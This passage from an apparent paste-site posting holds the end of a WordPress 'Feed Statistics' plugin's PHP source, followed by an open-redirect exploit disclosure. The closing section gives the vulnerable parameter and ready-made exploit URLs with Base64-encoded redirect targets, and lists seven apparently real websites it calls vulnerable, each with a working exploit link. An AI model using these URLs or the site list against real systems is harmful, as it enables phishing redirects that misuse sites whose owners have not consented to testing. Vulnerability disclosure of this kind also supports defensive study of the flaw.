  855. $readers[] = array("reader" => $reader, "readers" => $row->readers);
  856. }
  857. }
  858.  
  859. function sort_reader_array($a, $b) {
  860. return $b["readers"] - $a["readers"];
  861. }
  862.  
  863. usort($readers, 'sort_reader_array');
  864.  
  865. $max = $readers[0]["readers"];
  866.  
  867. ob_start();
  868.  
  869. ?>
  870. <table style="width: 100%;">
  871. <thead>
  872. <tr>
  873. <th>&nbsp;</th>
  874. <th style="text-align: left;"><?php esc_html_e( 'Reader', 'feed-statistics' ); ?></th>
  875. <th style="text-align: left;"><?php esc_html_e( 'Subscribers', 'feed-statistics' ); ?></th>
  876. <th>&nbsp;</th>
  877. </tr>
  878. </thead>
  879. <tbody>
  880. <?php
  881.  
  882. $i = 1;
  883.  
  884. foreach ($readers as $reader) {
  885. $percentage = ceil($reader["readers"] / $max * 100);
  886.  
  887. ?>
  888. <tr>
  889. <td><?php echo $i++; ?></td>
  890. <td style="width: 40%;"><?php echo esc_html( $reader["reader"] ); ?></td>
  891. <td style="width: 15%;"><?php echo esc_html( $reader["readers"] ); ?></td>
  892. <td style="width: 40%;">
  893. <div class="graph" style="width: <?php echo $percentage; ?>%;">&nbsp;</div>
  894. </td>
  895. </tr>
  896. <?php
  897. }
  898.  
  899. ?>
  900. </tbody>
  901. </table>
  902. </div>
  903. <?php
  904. }
  905.  
  906. static function feed_page() {
  907. ?>
  908. <div class="wrap">
  909. <?php if ( ! empty( $_POST['feed_statistics_update'] ) ) { ?>
  910. <div class="updated"><p><?php esc_html_e( 'Settings have been saved.', 'feed-statistics' ); ?></p></div>
  911. <?php } ?>
  912.  
  913. <div class="icon32" id="icon-options-general">
  914. <br />
  915. </div>
  916. <h2><?php esc_html_e( 'Feed Statistics Settings', 'feed-statistics' ); ?></h2>
  917. <form method="post">
  918. <input type="hidden" name="feed_statistics_update" value="1"/>
  919.  
  920. <table class="form-table">
  921. <tbody>
  922. <tr valign="top">
  923. <th scope="row"><?php esc_html_e( 'Subscribers', 'feed-statistics' ); ?></th>
  924. <td>
  925. <?php printf( esc_html__( 'Count users who have requested a feed within the last %1$s days as subscribers. You currently have %2$s subscribers.', 'feed-statistics' ), '<input type="text" size="2" name="feed_statistics_expiration_days" value="' . intval( get_option("feed_statistics_expiration_days") ) . '" />', number_format_i18n( FEED_STATS::how_many_subscribers() ) ); ?>
  926. </td>
  927. </tr>
  928. <tr valign="top">
  929. <th scope="row"><?php esc_html_e( 'Clickthroughs', 'feed-statistics' ); ?></th>
  930. <td>
  931. <input type="checkbox" name="feed_statistics_track_clickthroughs" value="1" <?php checked( get_option( 'feed_statistics_track_clickthroughs' ) ); ?> />
  932. <?php esc_html_e( 'Track which links your subscribers click', 'feed-statistics' ); ?>
  933. <p class="description">
  934. <?php esc_html_e( 'This requires WordPress to route all links in your posts back through your site so that clicks can be recorded. The user shouldn\'t notice a difference.', 'feed-statistics' ); ?>
  935. </p>
  936. </td>
  937. </tr>
  938. <tr valign="top">
  939. <th scope="row"><?php esc_html_e( 'Post views', 'feed-statistics' ); ?></th>
  940. <td>
  941. <input type="checkbox" name="feed_statistics_track_postviews" value="1" <?php checked( get_option( 'feed_statistics_track_postviews' ) ); ?> />
  942. <?php esc_html_e( 'Track individual post views', 'feed-statistics' ); ?>
  943. <p class="description">
  944. <?php esc_html_e( 'This is done via an invisible tracking image and will track views of posts by users that use feed readers that load images from your site.', 'feed-statistics' ); ?>
  945. </p>
  946. </td>
  947. </tr>
  948. </tbody>
  949. </table>
  950. <p class="submit">
  951. <input class="button-primary" type="submit" name="Submit" value="<?php esc_attr_e( 'Update Options', 'feed-statistics' ); ?>" />
  952. </p>
  953. </form>
  954. </div>
  955. <?php
  956. }
  957.  
  958. static function widget_register() {
  959. wp_register_sidebar_widget( 'feed-statistics-widget', __( 'Feed Statistics', 'feed-statistics' ), array( 'FEED_STATS', 'widget' ) );
  960. }
  961.  
  962. static function widget($args) {
  963. echo $args['before_widget'];
  964.  
  965. echo '<span class="subscriber_count">';
  966. feed_subscribers();
  967. echo '</span>';
  968.  
  969. echo $args['after_widget'];
  970. }
  971.  
  972. static function clickthrough_replace($content) {
  973. if (is_feed()) {
  974. $this_file = __FILE__;
  975.  
  976. $redirect_url = home_url( '/?feed-stats-url=' );
  977.  
  978. $content = preg_replace_callback( "/" . self::LINK_REGEX . "/i", array( 'FEED_STATS', 'generate_clickthrough_url' ), $content);
  979. }
  980.  
  981. return $content;
  982. }
  983.  
  984. static function generate_clickthrough_url( $matches ) {
  985. $url = $matches[3];
  986.  
  987. $clickthrough_url = $url;
  988.  
  989. if ( strpos( $url, "//" ) !== false ) {
  990. $post_id = get_the_ID();
  991. $clickthrough_url = esc_url( home_url( '/?feed-stats-url=' . urlencode( base64_encode( $url ) ) ) . '&feed-stats-url-post-id=' . urlencode( $post_id ) );
  992. }
  993.  
  994. return $matches[1] . '"' . $clickthrough_url . '"' . $matches[5];
  995. }
  996.  
  997. static function postview_tracker($content) {
  998. global $id;
  999.  
  1000. if (is_feed()) {
  1001. $content .= ' <img src="' . esc_url( home_url( '/?feed-stats-post-id=' . $id ) ) . '" width="1" height="1" style="display: none;" />';
  1002. }
  1003.  
  1004. return $content;
  1005. }
  1006.  
  1007. static function admin_head() {
  1008. ?>
  1009. <style type="text/css">
  1010. div.graph {
  1011. border: 1px solid rgb(13, 50, 79);
  1012. background-color: rgb(131, 180, 216);
  1013. }
  1014. </style>
  1015. <?php
  1016. }
  1017. }
  1018.  
  1019. function feed_subscribers(){
  1020. $s = FEED_STATS::how_many_subscribers();
  1021.  
  1022. printf( _n( '%s feed subscriber', '%s feed subscribers', $s ), number_format_i18n( $s ) );
  1023. }
  1024.  
  1025. function feed_statistics_options() {
  1026. FEED_STATS::options();
  1027. }
  1028.  
  1029. function feed_statistics_widget($args) {
  1030. FEED_STATS::widget($args);
  1031. }
  1032.  
  1033. function feed_statistics_feed_page() {
  1034. FEED_STATS::feed_page();
  1035. }
  1036. function feed_statistics_feedreaders_page() {
  1037. FEED_STATS::feedreaders_page();
  1038. }
  1039. function feed_statistics_clickthroughs_page() {
  1040. FEED_STATS::clickthroughs_page();
  1041. }
  1042. function feed_statistics_postviews_page() {
  1043. FEED_STATS::postviews_page();
  1044. }
  1045. function feed_statistics_topfeeds_page() {
  1046. FEED_STATS::topfeeds_page();
  1047. }
  1048.  
  1049. function feed_statistics_action_links( $links, $file ) {
  1050. if ( $file == plugin_basename( dirname(__FILE__) . '/feed-statistics.php' ) ) {
  1051. $links[] = '<a href="admin.php?page=feed-statistics.php">' . esc_html__( 'Settings', 'feed-statistics' ) .' </a>';
  1052. }
  1053.  
  1054. return $links;
  1055. }
  1056.  
  1057. add_action('init', array('FEED_STATS','init'));
  1058.  
  1059. add_action( 'plugins_loaded', array( 'FEED_STATS', 'db_setup' ) );
  1060.  
  1061. register_activation_hook( __FILE__, array( 'FEED_STATS', 'sql' ) );
  1062.  
  1063. ##################################################################################
  1064.  
  1065. # Vulnerable File :
  1066. *****************
  1067. /feed-statistics.php
  1068.  
  1069. # Vulnerable Parameter :
  1070. **********************
  1071. ?url=
  1072.  
  1073. # Open Redirection Exploit :
  1074. **************************
  1075. /wp-content/plugins/wordpress-feed-statistics/feed-statistics.php?url=[BASE64 Encoded URL]
  1076.  
  1077. /wp-content/plugins/wordpress-feed-statistics/feed-statistics.php?url=aHR0cHM6Ly9jeHNlY3VyaXR5LmNvbS8=
  1078.  
  1079. Note : Convert any random desired redirection address into the Base64 Encoded Link.
  1080.  
  1081. Example 1 => aHR0cHM6Ly9jeHNlY3VyaXR5LmNvbS8= stands for cxsecurity.com
  1082.  
  1083. Example 2 => aHR0cHM6Ly93d3cuY3liZXJpem0ub3JnLw== stands for cyberizm.org
  1084.  
  1085. Example 3 => aHR0cDovL2V4cGxvaXQ0YXJhYi5vcmcv stands for exploit4arab.org
  1086.  
  1087. Example 4 => aHR0cHM6Ly9wYWNrZXRzdG9ybXNlY3VyaXR5LmNvbS8= stands for packetstormsecurity.com
  1088.  
  1089. Useable Base64 Encoder - Decoder Links :
  1090. base64decode.org
  1091. base64encode.org
  1092.  
  1093. ##################################################################################
  1094.  
  1095. # Example Vulnerable Sites :
  1096. *************************
  1097. [+] blog.02035.org/wp-content/plugins/wordpress-feed-statistics/feed-statistics.php?url=aHR0cHM6Ly9jeHNlY3VyaXR5LmNvbS8=
  1098.  
  1099. [+] saltspoon.de/wp-content/plugins/wordpress-feed-statistics/feed-statistics.php?url=aHR0cHM6Ly9jeHNlY3VyaXR5LmNvbS8=
  1100.  
  1101. [+] limecolony.com/wp-content/plugins/wordpress-feed-statistics/feed-statistics.php?url=aHR0cHM6Ly9jeHNlY3VyaXR5LmNvbS8=
  1102.  
  1103. [+] missyeh.nl/blog/wp-content/plugins/wordpress-feed-statistics/feed-statistics.php?url=aHR0cHM6Ly9jeHNlY3VyaXR5LmNvbS8=
  1104.  
  1105. [+] nutsville.com/wp-content/plugins/wordpress-feed-statistics/feed-statistics.php?url=aHR0cHM6Ly9jeHNlY3VyaXR5LmNvbS8=
  1106.  
  1107. [+] dillanweems.com/wordpress/wp-content/plugins/wordpress-feed-statistics/feed-statistics.php?url=aHR0cHM6Ly9jeHNlY3VyaXR5LmNvbS8=
  1108.  
  1109. [+] redaccent.net/wp-content/plugins/wordpress-feed-statistics/feed-statistics.php?url=aHR0cHM6Ly9jeHNlY3VyaXR5LmNvbS8=
  1110.  
  1111. ##################################################################################
  1112.  
  1113. # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
  1114.  
  1115. ##################################################################################
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement